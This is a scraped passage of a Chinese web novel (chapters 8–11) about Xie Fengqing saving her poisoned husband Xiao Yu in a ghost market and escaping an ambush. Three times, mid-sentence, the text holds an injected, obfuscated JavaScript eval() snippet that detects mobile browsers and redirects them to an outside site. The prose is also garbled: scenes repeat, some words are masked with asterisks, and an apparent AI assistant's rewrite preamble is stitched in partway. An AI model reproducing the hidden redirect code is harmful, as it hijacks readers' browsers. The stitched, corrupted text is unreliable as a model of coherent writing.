影一收刀入鞘,动作干净利落,仿佛只是拂去一粒尘埃。刀尖一滴滚烫的血珠,在烛光下划过一道刺目的弧线,“嗒”地一声,坠落在冰冷的地砖上,迅速渗入缝隙。他如同沉默的石雕,重新退回到角落的阴影里,只留下一地刺目的猩红和浓重的死亡气息。 谢凤卿看着地上柳嬷嬷迅速失去生机的尸体,眼神没有丝毫波动。杀鸡儆猴。这王府里的第一滴血,来得比她预想的更快、更直接。 就在这时,外厅传来一阵急促而杂乱的脚步声,伴随着一个刻意拔高的、带着哭腔的女声: “世子殿下!世子殿下您怎么样了?云姝奉皇后娘娘口谕,特来探望殿下!” 珠帘哗啦一声被猛地掀开! 一身华贵宫装、披着雪白狐裘斗篷的谢云姝,在几个丫鬟的簇拥下,风风火火地闯了进来!她脸上带着恰到好处的焦急和关切,眼底深处却燃烧着一种急于确认什么的、近乎疯狂的急切光芒。 然而,当她看清内室景象的刹那—— 她脸上所有精心伪装的表情,如同被重锤击中的琉璃,瞬间碎裂、崩塌! 地上柳嬷嬷那具还在微微抽搐、血流满地的尸体! 床边侍卫跪伏一地,噤若寒蝉! 拔步床上,那个赤着上身、插满银针、脸色惨白如鬼、嘴角带血、却分明睁着眼睛、带着一种冰冷刺骨的目光看向她的男人! 萧御!他……他竟然真的没死?!还活着?!这怎么可能?!前世……前世他明明死透了的!就在这新婚之夜!棺材板都钉**! 巨大的冲击如同海啸般瞬间淹没了谢云姝!她重生以来,凭借着对“未来”的预知,一直顺风顺水,将所有人**于股掌!可眼前这一幕……这完全超出了她的认知!这不对!这不对!庶妹谢凤卿……她怎么做到的?!她凭什么?! 谢云姝的身体控制不住地剧烈颤抖起来,脸色瞬间褪尽血色,变得比地上的柳嬷嬷还要惨白,眼神里充满了极致的震惊、茫然、以及一种被命运戏弄后的、深入骨髓的恐惧!她的重生记忆……第一次出现了如此巨大的、无法解释的偏差! 第8章 剧情变了 “姐姐?”一个清冷平静的声音打破了死寂。 谢凤卿缓缓转过身,脸上甚至还带着一丝若有若无的、极其浅淡的笑意。她挡在拔步床前,袖中藏着那半枚染血的虎符,目光平静地迎上谢云姝那双充满了混乱和惊骇的眼睛。 她微微屈膝,行了一个无可挑剔的礼,声音不高,却清晰地响彻在弥漫着血腥和药味的内室里: “夜深雪重,姐姐奉旨前来探视,真是辛苦了。” 她的目光扫过谢云姝惨白的脸,唇角的笑意加深了一丝,带着一种洞悉一切的冰冷嘲讽: “妹妹这洞房花烛夜,倒是热闹得紧。姐姐既来了,可要……喝杯喜酒再走?” “喜酒”二字,如同淬了剧毒的冰针,狠狠扎进谢云姝混乱不堪的意识里! 她看着谢凤卿脸上那抹刺眼的笑意,看着床上萧御那双冰冷刺骨、仿佛看穿了她所有心思的眼睛,一股前所未有的、冰冷的怨毒瞬间吞噬了她所有的恐惧! 剧情变了! 这个该死的庶妹……绝不能留! 她必须死!立刻!马上! 血色在冰冷的青铜虎符上干涸,凝结成诡异的暗红纹路,如同烙印在两人指尖无形的契约。 影一的刀锋归鞘,带走了王府第一条人命,也撕开了温情脉脉下的狰狞獠牙。 而谢云姝眼中那颠覆认知的惊涛骇浪,已悄然化作了不死不休的淬毒寒芒。 洞房红烛尚温,姐妹之仇已烙。 “驾——!” 一声短促凌厉的呼喝撕裂了镇北王府后巷死寂的雪夜!一匹通体漆黑、四蹄踏雪的骏马拉着辆不起眼的青篷马车,如同离弦之箭般从侧门冲出!车轮碾过厚厚的积雪,发出沉闷而急促的声响,溅起大蓬冰冷的雪雾。 车帘被狂风卷起一角,露出影一那张毫无表情、只余下刀锋般冷硬线条的侧脸。他紧抿着唇,手中马鞭挥舞如风,每一次落下都带起一道凄厉的破空声,狠狠抽在骏马的臀股之上。马儿吃痛,嘶鸣着,将速度提到了极致,在空旷无人的街道上亡命狂奔,马蹄铁敲击着被冰雪覆盖的青石板路,发出密集如鼓点般的脆响。 车厢内,光线昏暗,只有一盏挂在角落的防风琉璃灯随着剧烈的颠簸疯狂摇曳,投下动荡不安的光影。 萧御裹着厚厚的玄色貂裘,蜷缩在铺着厚褥的软榻上。他双目紧闭,眉心紧锁成一个深刻的“川”字,每一次艰难的呼吸都伴随着胸腔深处传来的、如同碎冰摩擦般的“嗬嗬”声。 惨白的脸上不见一丝血色,唯有嘴唇泛着诡异的青紫,嘴角残留着未干的血迹。貂裘的领口被冷汗浸湿,敞开着些许,露出脖颈下方蔓延上来的、如同蛛网般狰狞的黑紫色毒线!那毒线已经爬过了锁骨,如同贪婪的藤蔓,正一寸寸地向上蚕食,距离脆弱的咽喉要害,仅余一线之隔!丝丝缕缕肉眼可见的白色寒气,随着他艰难的呼吸,从他口鼻中逸散出来,在冰冷的空气中凝成细微的冰碴! 剧毒蚀心,寒气封脉。七日断魂散的最终索命之期,已然迫在眉睫!四十八个时辰的倒计时,每一分每一秒都像是悬在头顶的冰冷铡刀。 谢凤卿半跪在软榻旁,一手紧握着萧御冰冷刺骨的手腕,指尖搭在寸关尺上,感受着那微弱得仿佛随时会熄灭、滞涩得如同冰河下冻结的脉搏。另一只手,则稳稳地拿着一枚细长的银针,针尖悬停在萧御心口膻中穴上方寸许,微微颤动着,流转着幽冷的银芒,强行吊住他最后一线摇摇欲坠的生机。她的脸色同样苍白,额角布满细密的汗珠,眼神却如同冰封的湖面,沉静得没有一丝涟漪。 车厢猛地一个剧烈颠簸!萧御的身体不受控制地向上弹起,牵动心脉,又是一口暗紫发黑的血沫涌上喉头,被他死死咬住下唇,强行咽了回去,只余下唇边一抹刺目的紫黑。 “再快!”谢凤卿猛地抬头,冰冷的目光穿透晃动的车帘缝隙,落在影一绷紧如弓弦的背上,声音不高,却带着斩钉截铁、不容置疑的穿透力,如同冰珠砸落玉盘,“子时三刻鬼市闭门!若赶不及,你家主子就真要去阎王殿报到了!” 影一握缰的手猛地一紧,指节爆响。他再无丝毫保留,口中发出一声如同野兽般的低吼,马鞭化作一片残影! “咴——!”黑马发出痛苦的嘶鸣,四蹄翻飞,速度再次飙升!马车如同失控的箭矢,在空旷寂寥、被厚厚积雪覆盖的京城街道上,朝着城西那片连巡城卫都讳莫如深的黑暗区域,亡命飞驰! 城西,废弃的城隍庙。 断壁残垣在狂舞的雪沫中若隐若现,如同蛰伏的巨兽骸骨。庙门口那尊泥胎斑驳、半面坍塌的佛像,在凄风苦雪中显得愈发悲凉诡异。佛像空洞的眼窝,仿佛在无声地嘲笑着世人的贪婪与绝望。 青篷马车如同幽灵般滑入破庙坍塌的山门,停在佛像巨大的阴影之下。影一如同鬼魅般无声跃下,警惕的目光扫过四周,确认无人跟踪。 谢凤卿掀开车帘跳下,刺骨的寒风夹杂着雪粒扑面而来,让她不禁打了个寒颤。她回身,和影一一起,将几乎失去意识的萧御从车内半扶半抱了出来。萧御的身体沉重而冰冷,如同冰块,仅存的微弱意识让他本能地抗拒着外界的寒冷,喉间发出模糊的痛苦呻吟。 “撑住。”谢凤卿在他耳边低语,声音带着一种不容置疑的力量。她架起他一条沉重的胳膊,将他大半的重量压在自己单薄的肩背上。 影一无声地走到那尊巨大的佛像背后,在布满灰尘和蛛网的佛龛底座某处,以一种特定的节奏和力道,屈指敲击了三下。 “叮……叮……叮……” 清脆的铜铃声,在死寂的破庙中幽幽响起,带着一种奇异的穿透力,仿佛能勾动人心底最深处的欲望。 片刻的死寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545981|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后。 “嘎吱……嘎吱吱……” 一阵令人牙酸的、沉重而缓慢的机括转动声从佛像底座内部传来。紧接着,佛像背后那面看似完整的砖墙,竟悄无声息地向内凹陷、旋转,露出了一个仅容两人并肩通过的、向下延伸的幽深洞口! 一股混杂着浓烈血腥气、兽类腥臊、霉味、药草苦涩以及无数难以言喻的、属于地下世界的浑浊气息,如同开了闸的洪水,猛地从洞口喷涌而出!呛得人几乎窒息。 洞口内,隐约可见向下延伸的石阶,石阶两侧墙壁上,每隔数步,便悬挂着一盏……灯笼。 那灯笼的材质极为诡异,非纸非纱,竟像是某种风干的皮子,呈现出一种半透明的暗红色。灯笼内燃烧的也不是寻常烛火,而是一簇簇幽蓝、惨绿、或是暗红的火苗,光线扭曲而阴森。更令人头皮发麻的是,每一盏灯笼的皮面上,都用暗褐色的、如同凝固血液般的颜料,歪歪扭扭地写着各种触目惊心的价格: “新罗婢,眼珠完好,十金。” “百年虎骨,带髓,八十金。” “岭南生**,解毒圣品,三百金起……” “西域曼陀罗粉,见血封喉,五十金一钱……” 血写的价码,在幽诡跳跃的灯火映照下,如同地狱的菜单。 影一握刀的手瞬间绷紧,冰冷的眼神里第一次露出了难以掩饰的震惊和警惕。这地方……比传闻中更加邪异!他下意识地看向谢凤卿。 然而,谢凤卿脸上却没有丝毫初入此地的惊惶或不适。她只是微微蹙了下眉,似乎对那浑浊的气息有些排斥,眼神却锐利如鹰隼,快速地扫过洞口深处隐约可见的三条岔路——左边人声嘈杂夹杂着压抑的哭嚎(人市),中间腥臊扑鼻兽吼隐隐(兽市),右边则弥漫着浓郁复杂的药草混合着奇异腥甜的气息(药市)。 她的目光精准地锁定了右侧那条弥漫着药气的巷子,架着萧御,没有丝毫犹豫,抬脚便踏入了那向下延伸、如同通往九幽深处的石阶!脚步沉稳,熟稔得如同归家! 影一眼中的震惊瞬间化为了实质。王妃……她竟对这鬼蜮般的“鬼市”,如此熟悉?! 药市巷子远比外面看到的更加幽深曲折。两侧不再是石壁,而是一个个用粗木和黑布搭建起来的简陋棚户。棚户前悬挂着各种稀奇古怪、甚至令人毛骨悚然的“药材”:盘绕如蛇、干瘪发黑的藤蔓;浸泡在浑浊液体里、形状诡异的动物内脏;装在透明琉璃瓶中、色彩斑斓却散发着甜腻恶臭的粉末;甚至还有几颗被石灰包裹、只露出空洞眼窝的……人头!空气里混杂着千奇百怪的气味,浓烈得几乎令人作呕。 谢凤卿目不斜视,径直走向巷子深处一个最为昏暗、也最为偏僻的角落。那里只有一个孤零零的小摊,摊前挂着一盏惨绿色的灯笼,上面用暗褐色的“血”写着两个狰狞的大字:“鬼叟”。 第9章 天山雪蟾 摊后,盘坐着一个瘦小干瘪的老者。他穿着一身脏得看不出原色的破旧道袍,头发稀疏枯黄,如同乱草。 脸上皱纹堆叠,沟壑纵横,几乎看不清五官,唯有一双深陷在眼窝里的眼睛,浑浊不堪,却又时不时地掠过一丝令人心悸的精光。他身前的地上,随意地铺着一块油腻的黑布,上面只孤零零地放着一个巴掌大小、通体漆黑、不断散发着丝丝缕缕白色寒气的玉盒。玉盒盖子微微掀开一道缝隙,隐约可见里面一团如同冰晶凝结、微微蠕动的活物——正是那能解天下奇寒剧毒的至宝,天山雪蟾! 谢凤卿的目光瞬间锁定那个黑玉寒盒,如同锁定猎物的鹰隼。她将几乎陷入昏迷的萧御交给影一扶住,自己上前一步,声音清冷,没有任何废话:“雪蟾,开价。” 鬼叟那浑浊的眼珠缓缓抬起,如同两粒蒙尘的玻璃珠,在谢凤卿和她身后气息奄奄的萧御身上扫过。他喉咙里发出一阵如同破风箱般的“嗬嗬”怪笑,声音嘶哑干涩:“嘿嘿……好东西,识货的人不多……这小郎君中的是‘七日断魂’?啧啧,能撑到鬼市,骨头够硬……可惜啊,阎王爷的催命符,光有骨头硬可不够。” 他伸出枯瘦如鸡爪、指甲缝里满是黑泥的手指,慢悠悠地竖起一根:“黄金……一千两。” 影一眉头紧锁,握着刀柄的手微微用力。一千两黄金!这简直是趁火**! 鬼叟浑浊的眼珠里闪过一丝狡黠和贪婪,又慢悠悠地竖起第二根手指:“外加……镇北王府里,那个姓柳的老虔婆,三天前给世子爷炖的那盅参汤……是谁经的手?汤里……又加了点什么东西?”他舔了舔干裂的嘴唇,露出残缺发黑的牙齿,“老婆子我啊,就好这口‘知情’的滋味儿。” 这老鬼!他不仅要钱,还要王府内斗的隐秘情报!影一眼中杀机毕露。 “黄金一千两?”谢凤卿忽然轻笑一声,那笑声在阴森的巷子里显得格外突兀。她看着鬼叟,眼神平静无波,仿佛在谈论一件无关紧要的小事,“鬼叟前辈,您这价,是看不起雪蟾,还是看不起镇北王世子的命?” 她的话音陡然一转,如同冰刀出鞘: “黄金一万两。” “现银。” “噗……”鬼叟一口唾沫差点呛住自己,浑浊的眼睛猛地瞪圆,难以置信地盯着谢凤卿:“小丫头……你……你说多少?!” “黄金一万两,现银。”谢凤卿一字一顿地重复,声音清晰无比。她不再看鬼叟,而是直接从怀中贴身之处,取出一枚小巧玲珑、通体赤金、造型古朴的印章。印章底部并非寻常印文,而是雕刻着一只展翅欲飞、栩栩如生的凤凰图腾! 她看也不看,随手将那枚小小的金印抛向鬼叟。 鬼叟下意识地接住,入手沉甸甸,带着金属的冰凉。他眯起浑浊的老眼,凑到旁边惨绿色的灯笼光下仔细辨认那凤凰图腾的每一个细节。当看清那图腾下方一个极其细微、几乎无法察觉的古老篆文“凤”字时,他那张如同风干橘皮的老脸瞬间僵住!浑浊的瞳孔骤然收缩成针尖大小,里面充满了极致的惊骇和难以置信! “凤……凤记……钱庄?!”他猛地抬头,死死盯着眼前这个一身素衣、面容尚显稚嫩的少女,声音因为极度的震惊而变得尖利扭曲,如同夜枭啼哭,“你……你就是那个神龙见首不见尾、掌控着半个江南钱粮命脉的……‘小财神’?!” “小财神”三个字,如同惊雷般在狭窄的药市巷子里炸开!连扶着萧御的影一都浑身剧震,看向谢凤卿的目光充满了无法言喻的震撼!王妃……她竟然还有如此骇人的身份?! “印鉴为凭。”谢凤卿的声音没有丝毫波澜,仿佛只是在确认一件微不足道的小事,“凭此印,三日内,可去凤记京城分号支取黄金万两。雪蟾,拿来。” 鬼叟拿着那枚小小的金印,枯瘦的手竟不受控制地微微颤抖起来。他看着谢凤卿那张平静得可怕的脸,又看看她身后那个气息奄奄、却身份显赫的世子,浑浊的眼底瞬间闪过无数复杂的算计、贪婪和一丝不易察觉的恐惧。最终,贪婪和对“小财神”财富的渴望压倒了一切。 “嘿嘿……嘿嘿嘿……好!好!小财神果然够爽快!”鬼叟脸上的惊骇迅速转化为一种谄媚而诡异的笑容,他不再犹豫,小心翼翼地将那枚金印揣入怀中,仿佛揣着绝世珍宝。随即,他枯瘦的手伸向地上那个散发着寒气的黑玉盒。 就在他的指尖即将触碰到盒盖的瞬间—— “咻——!” “咻咻咻——!” 凄厉到令人头皮炸裂的破空声,如同死神的狞笑,毫无征兆地从巷子入口处暴射而来!十几道闪烁着幽蓝光泽的**矢,如同毒蛇的獠牙,撕裂黑暗,带着刺骨的杀意,精准地覆盖了谢凤卿、萧御、影一以及鬼叟所在的位置!箭矢淬毒,幽蓝的光芒在惨绿的灯笼映照下,如同鬼火! “敌袭!”影一瞳孔骤缩,发出一声暴喝!他反应快到极致,在**矢破空声响起的同时,已猛地将萧御和谢凤卿向后一推! “噗噗噗!”数支淬毒**矢狠狠钉在他们刚才站立的地面上,箭尾犹自剧烈颤抖! 而鬼叟就没那么幸运了!他正沉浸在获得万两黄金的狂喜中,根本来不及反应!一支幽蓝的**矢如同毒蛇般,精准无比地洞穿了他枯瘦的脖颈! “呃……”鬼叟脸上的谄笑瞬间凝固,喉咙里发出嗬嗬的漏气声,浑浊的眼睛里充满了极致的惊愕和茫然。他枯瘦的身体猛地一颤,如同被抽掉了所有骨头,软软地向后倒去,重重地砸在冰冷肮脏的地面上,鲜血如同喷泉般从他颈部的血洞中狂涌而出! “嗖嗖嗖!”更多的淬毒**矢如同暴雨般倾泻而下! 谢凤卿在影一推开的瞬间,已顺势拉着萧御猛地向旁边一个堆满了各种药材麻袋和巨大药柜的角落扑去! “笃笃笃!”数支毒**狠狠钉在他们藏身的厚重药柜上,发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545982|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉闷的声响,箭簇深深没入木头! 混乱的尖叫声、哭喊声在药市巷子里瞬间爆发!人群如同炸了锅的蚂蚁,四散奔逃,撞翻了无数摊位,各种药材、瓶瓶罐罐摔碎一地,浓郁的药味和血腥味混杂在一起,令人作呕。 巷子入口处,十几个身着漆黑劲装、脸上戴着只露出冰冷双眼的金属面具的身影,如同地狱爬出的恶鬼,手持精巧的****,正一步步逼近!他们动作整齐划一,散发着浓烈的杀伐之气,为首一人面具下的眼睛,如同鹰隼般死死锁定谢凤卿藏身的角落!正是首辅豢养的死士,鹰犬十三! “保护王妃和世子!”影一低吼一声,狭长的横刀已然出鞘!他身影如同鬼魅般迎了上去,刀光化作一片匹练般的寒芒,叮叮当当格开数支射来的毒**,同时刀锋凌厉无匹地斩向冲在最前的两名鹰犬! 刀锋入肉,血光乍现!两名鹰犬瞬间毙命! 但更多的毒**如同附骨之疽般射来!影一以一敌众,刀光翻飞,身形在狭窄的巷子里辗转腾挪,险象环生!刀锋与**矢碰撞的火星,在幽暗的巷子里不断迸溅! 藏身药柜后的谢凤卿,眼神冰冷如铁。她一手紧紧护住意识模糊、身体冰冷的萧御,另一只手闪电般探入袖中! “咻!咻!咻!” 三道细微到几乎被厮杀声淹没的破空声响起! 三枚细如牛毛的银针,在幽暗的光线下划过三道几乎无法捕捉的银线,精准无比地射向三名正抬起手**、瞄准影一死角的鹰犬! 银针的目标,并非咽喉,而是他们握**的手腕内侧一处极其隐秘的穴位——神门穴! “呃啊!”“啊!”“……” 三声短促的惨哼几乎同时响起!那三名鹰犬只觉得手腕瞬间麻痹,如同被冰封,再也无法扣动**!手中的劲**脱手而落! 这瞬间的破绽,被影一精准捕捉!刀光如同毒蛇吐信,瞬间掠过三人的咽喉!血箭喷涌! “走!”影一厉声喝道,刀势更加狂猛,死死拖住剩下的鹰犬! 谢凤卿没有丝毫犹豫!她猛地将地上那个散发着寒气的黑玉盒抄入手中,入手冰冷刺骨!同时,她的目光飞快地扫过倒在血泊中、喉咙还汩汩冒着血泡、眼神已经开始涣散的鬼叟。就在鬼叟那只枯瘦的手无力垂落的瞬间,谢凤卿眼尖地看到,他紧握的拳头里,似乎死死攥着什么东西! 她毫不犹豫,俯身,用染血的指尖,极其粗暴地掰开了鬼叟那冰冷僵硬的手指! 一枚半个巴掌大小的玄铁令牌,跌落出来。令牌入手沉重冰凉,正面浮雕着一座险峻的山峰图案,背面,赫然刻着一个清晰的、带着独特纹路的私人印章——正是当朝首辅的私印!令牌边缘,还沾染着鬼叟温热的鲜血。 盐铁转运!首辅私印! 谢凤卿瞳孔一缩,瞬间明白了这令牌的分量!这是足以捅破天的证据!她毫不犹豫地将令牌也塞入怀中! 第10章 第一笔血债 “轰隆!” 一声巨响!不知是谁打翻了旁边的火盆,火星瞬间点燃了堆积如山的干燥药材!火焰如同贪婪的巨兽,猛地窜起数丈高,疯狂地吞噬着周围的棚户!浓烟滚滚,热浪灼人! “走这边!”影一拼着硬挨了一记**矢擦过臂膀的剧痛,一刀劈开侧面一个棚户的破烂木板墙,露出了后面一条堆满杂物、通向未知黑暗的窄巷! 火势蔓延极快,浓烟弥漫,鹰犬十三的攻势也为之一滞。 谢凤卿看了一眼背上气息微弱、冰冷刺骨的萧御,又看了一眼在火海和鹰犬**中浴血奋战的影一,眼神一厉! 她猛地转身,背对萧御,抓住他两条无力的手臂,猛地向上一提!萧御沉重的身体瞬间压在了她单薄的背上!巨大的重量让她膝盖一弯,几乎跪倒!她闷哼一声,牙关紧咬,纤细的手臂爆发出惊人的力量,死死箍住萧御的腿弯,硬生生将他背了起来! “抱紧!”她低喝一声,也不管萧御是否能听见,背着这个比她高大沉重的男人,如同背负着整个世界的重量,朝着影一劈开的那个火光照耀下的缺口,猛地冲了过去! 一步踏出!火焰舔舐着她的裙角,浓烟呛得她几乎窒息!但她没有丝毫停顿,背着昏迷的世子,在燃烧的杂物和倒塌的棚架间踉跄穿梭,义无反顾地冲入了那条未知的黑暗窄巷! 身后,是映红了半边夜空的熊熊烈火,是影一浴血的厮杀,是鹰犬十三不甘的怒吼!火光将她和萧御重叠在一起的、仓皇奔逃的影子,长长地投在肮脏的墙壁上,如同末路逃亡的剪影。 世子寝殿的内室,烛火通明,药气弥漫,却驱不散那股深入骨髓的血腥与杀伐气息。 谢凤卿脸色苍白得近乎透明,额发被冷汗浸透,几缕湿漉漉地贴在颊边。她坐在床沿,微微喘息着,指尖还残留着处理雪蟾时沾染的冰冷粘液和一丝暗红的血迹。她的素色衣衫上,溅落着点点暗褐色的污迹,分不清是鬼市的泥泞、药材的汁液,还是……干涸的血。 拔步床上,萧御依旧赤着上身,伏卧在厚厚锦褥间。他后背那些狰狞蔓延的黑紫色毒线,此刻如同被无形的力量强行扼住了咽喉,已然从逼近心脉的锁骨处,一路退回了手腕附近!虽然颜色依旧深沉可怖,但那种不断向上蚕食的、令人绝望的势头,已经被彻底遏制。 剧毒的侵蚀被强行打断,放血、火针、雪蟾三管齐下,终于将他从鬼门关前硬生生拖了回来。他紧锁的眉头稍稍舒展,呼吸虽然依旧微弱,却不再带着那种碎冰摩擦般的刺耳声响,体温也恢复了些许,不再像个冰坨。只是巨大的消耗让他陷入了更深沉的昏睡,如同一个精疲力竭的溺水者终于被拉上了岸。 谢凤卿静静地看着他沉静的睡颜。烛光勾勒着他深刻的轮廓,长睫在苍白的眼下投下小片阴影,唇上那抹骇人的青紫也褪去不少,只余下失血的苍白。这一刻,褪去了清醒时的冰冷、杀意和刻骨的戒备,他竟显出一种近乎脆弱的、属于这个年纪的英俊。 她的目光缓缓下移,落在他手腕处那圈尚未完全消退的黑紫毒线上。指尖无意识地捻动着袖口内衬那三枚冰冷的银针。 寂静的内室里,只有烛火燃烧的细微哔剥声,和两人清浅交错的呼吸。 不知过了多久,谢凤卿缓缓抬起手。她的动作很轻,带着一丝不易察觉的疲惫。染着暗红血迹的指尖,极其自然地伸向萧御的唇角——那里还残留着一丝干涸的、暗紫发黑的血迹。 她的指尖带着微凉的温度,轻轻拂过那片干涸的血渍,动作细致而专注,如同擦拭一件珍贵的瓷器。指尖传来的触感,是皮肤的微凉和血痂的粗粝。 “第一笔债……”她的声音在寂静中响起,低低的,带着一丝沙哑,如同梦呓,却又清晰无比地回荡在室内,“买命钱,黄金万两。鬼市大火,鹰犬伏尸十三条……还有,”她的指尖微微一顿,目光扫过他手腕的毒线,“你背上十三针刮骨放血的账……” 她的声音平静无波,像是在清算一笔再寻常不过的买卖: “……都记在我账上了,世子殿下。” 话音落下的瞬间—— 一只冰冷、骨节分明、却带着惊人力量的手,如同蛰伏已久的毒蛇,猛地从锦褥中探出!快如闪电,精准无比地攥住了谢凤卿那只刚刚拂过他唇角、尚未来得及收回的手腕! 力道之大,几乎要捏碎她的腕骨! 谢凤卿浑身一僵,猝然抬眸! 对上了一双不知何时已然睁开的眼睛。 那双眼,深不见底,如同两口刚刚解冻的寒潭。里面翻涌着劫后余生的虚弱、残留的剧痛、浓重的疲惫,但最深处,却是一片被强行点燃的、冰冷的、如同熔岩般炽热的锐利光芒!那光芒穿透了所有的混沌和虚弱,死死锁定了她,带着一种洞穿一切的审视和一种……被彻底冒犯后、近乎野兽般的占有欲! 他不知何时醒了!或者,他根本从未真正昏睡! 萧御紧紧攥着谢凤卿纤细的手腕,感受着掌下肌肤的微凉和脉搏的跳动。他的气息依旧虚弱,胸膛微微起伏,但每一个字都像是从齿缝里挤出来的冰渣,带着不容置疑的沉重和一种奇异的、纠缠不清的意味: “谢凤卿……” 他看着她,看着眼前这张平静得近乎冷酷、却又在烛光下透出惊人美丽的年轻脸庞,看着那双清冷眸子里映出的自己的狼狈模样。 他缓缓地、一字一顿地说道: “本世子……也记账。” “欠你……” 他攥着她手腕的力道又加重了一分,仿佛要将她的骨头烙上自己的印记: “……一条命。” 烛火“啪”地一声,爆开一朵细小的灯花。光影在两人交缠的视线和紧握的手腕间剧烈地跳跃、晃动。 谢凤卿的手腕被他攥得生疼,却并未挣扎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545983|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只是静静地看着他,看着他眼底那片炽热冰冷的熔岩,看着那里面翻涌的、复杂的、属于萧御的烙印。 空气仿佛凝固了。药味、血腥味、雪蟾残留的冰冷腥气……还有两人之间那无声碰撞、纠缠不清的债与命的气息。 就在这时,谢凤卿一直紧握的左手,缓缓松开。 “嗒”的一声轻响。 一枚半个巴掌大小的玄铁令牌,从她掌心滑落,掉在萧御枕边的锦褥上。 令牌通体幽黑,入手沉重冰冷。正面,一座险峻山峰的浮雕在烛光下泛着冷硬的金属光泽。背面,一个清晰的、带着独特纹路的私人印章,如同狰狞的烙印,深深镌刻其上——正是当朝首辅的私印! 令牌的边缘,还残留着暗红的、尚未完全干涸的血迹——来自鬼叟,也来自这深夜亡命的奔逃。 好的,这是在原有精彩章节基础上,对结尾部分进行的升华和补充,着重深化人物关系、情感张力以及那枚令牌带来的**风暴预兆: ——— 烛火“啪”地一声,爆开一朵细小的灯花。光影在两人交缠的视线和紧握的手腕间剧烈地跳跃、晃动,如同他们此刻纠缠不清的命途。 谢凤卿的手腕被他攥得生疼,骨头仿佛要被捏碎,细微的刺痛感清晰地传来。然而,她脸上却不见半分痛楚或惊惶,甚至连眉头都未曾动一下。她只是静静地看着他,看着他眼底那片炽热冰冷的熔岩,看着那里面翻涌的劫后余悸、刻骨的疼痛、被窥破隐秘的愠怒,以及一种……被强行烙印、无法挣脱的、近乎原始的占有欲。 他不再是那个高高在上、冷硬如冰的世子,而是一个刚从地狱爬回来、带着一身血腥与剧毒、急需抓住什么来确定自己存在的男人。而她,谢凤卿,这个他名义上的妻子,这个救了他命也看透了他狼狈的人,成了他此刻唯一能抓住的浮木——也是他无法掌控的变数。 空气仿佛凝固了,沉重得能压垮人的脊梁。浓烈的药味、若有若无的血腥气、雪蟾残留的冰冷腥气……还有两人之间无声碰撞、激烈交锋的债与命的气息,在这密闭的空间里无声地发酵、膨胀。每一次呼吸,都像是在吞咽着这混杂着恩情与算计、冰冷与灼热的复杂空气。 萧御的喘息依旧粗重而虚弱,胸膛的起伏牵动着背后刚刚被火针刮骨放血的伤口,带来一阵阵钻心的锐痛。 但这痛楚,却奇异地让他更加清醒,更加清晰地感受到掌下那截纤细手腕的温度和脉搏的跳动——那是生命的搏动,是他刚刚从死神手里抢回来的搏动,此刻却被他死死攥在手中。 他看着她清冷的眸子,那里面映出他苍白狼狈的影子,也映出一种他从未在她身上见过的、冰层之下燃烧的火焰。那不是恐惧,不是屈服,而是一种……冰冷的、带着审视的掌控感。仿佛他欠下的这条命,不是恩赐,而是一笔需要他用全部去偿还的巨债,一张无形却牢不可破的网。 第11章 第一个马甲掉喽 “……一条命。”他再次重复,声音嘶哑,却带着不容置疑的沉重,如同宣判。每一个字都像是从他破碎的胸腔里挤出来的冰锥,试图在她身上留下印记。 谢凤卿的目光依旧沉静,如同深不见底的寒潭。她仿佛感受不到手腕的剧痛,也听不到他话语中的占有与宣告。她只是微微抬了抬一直紧握的左手。 “嗒。” 一声轻响,清脆,冰冷,在这死寂的寝殿内却如同惊雷炸响。 一枚半个巴掌大小的玄铁令牌,从她掌心滑落,掉在萧御枕边的锦褥上,滚了两下,停在他眼前。 令牌通体幽黑,在烛光下泛着不祥的、吞噬光线的哑光。正面,一座险峻山峰的浮雕狰狞毕现,仿佛随时会压垮人的脊梁——那是帝国盐铁命脉的象征。背面,一个清晰得刺眼的私人印章,带着独特而嚣张的纹路,如同毒蛇的烙印,深深镌刻其上 ——当朝首辅的私印! 令牌的边缘,还粘黏着暗红的、尚未完全干涸的血迹——那是鬼叟临死前紧握的绝望,是今夜鬼市血与火的烙印,是他们亡命奔逃的见证,更是……指向幕后黑手的、染血的罪证! 这枚小小的令牌,瞬间将寝殿内那点劫后余生的微妙情愫撕得粉碎!它像一把冰冷的**,无情地刺穿了所有伪装,将两人共同面对的、血淋淋的、残酷无比的现实赤裸裸地摊开在眼前! 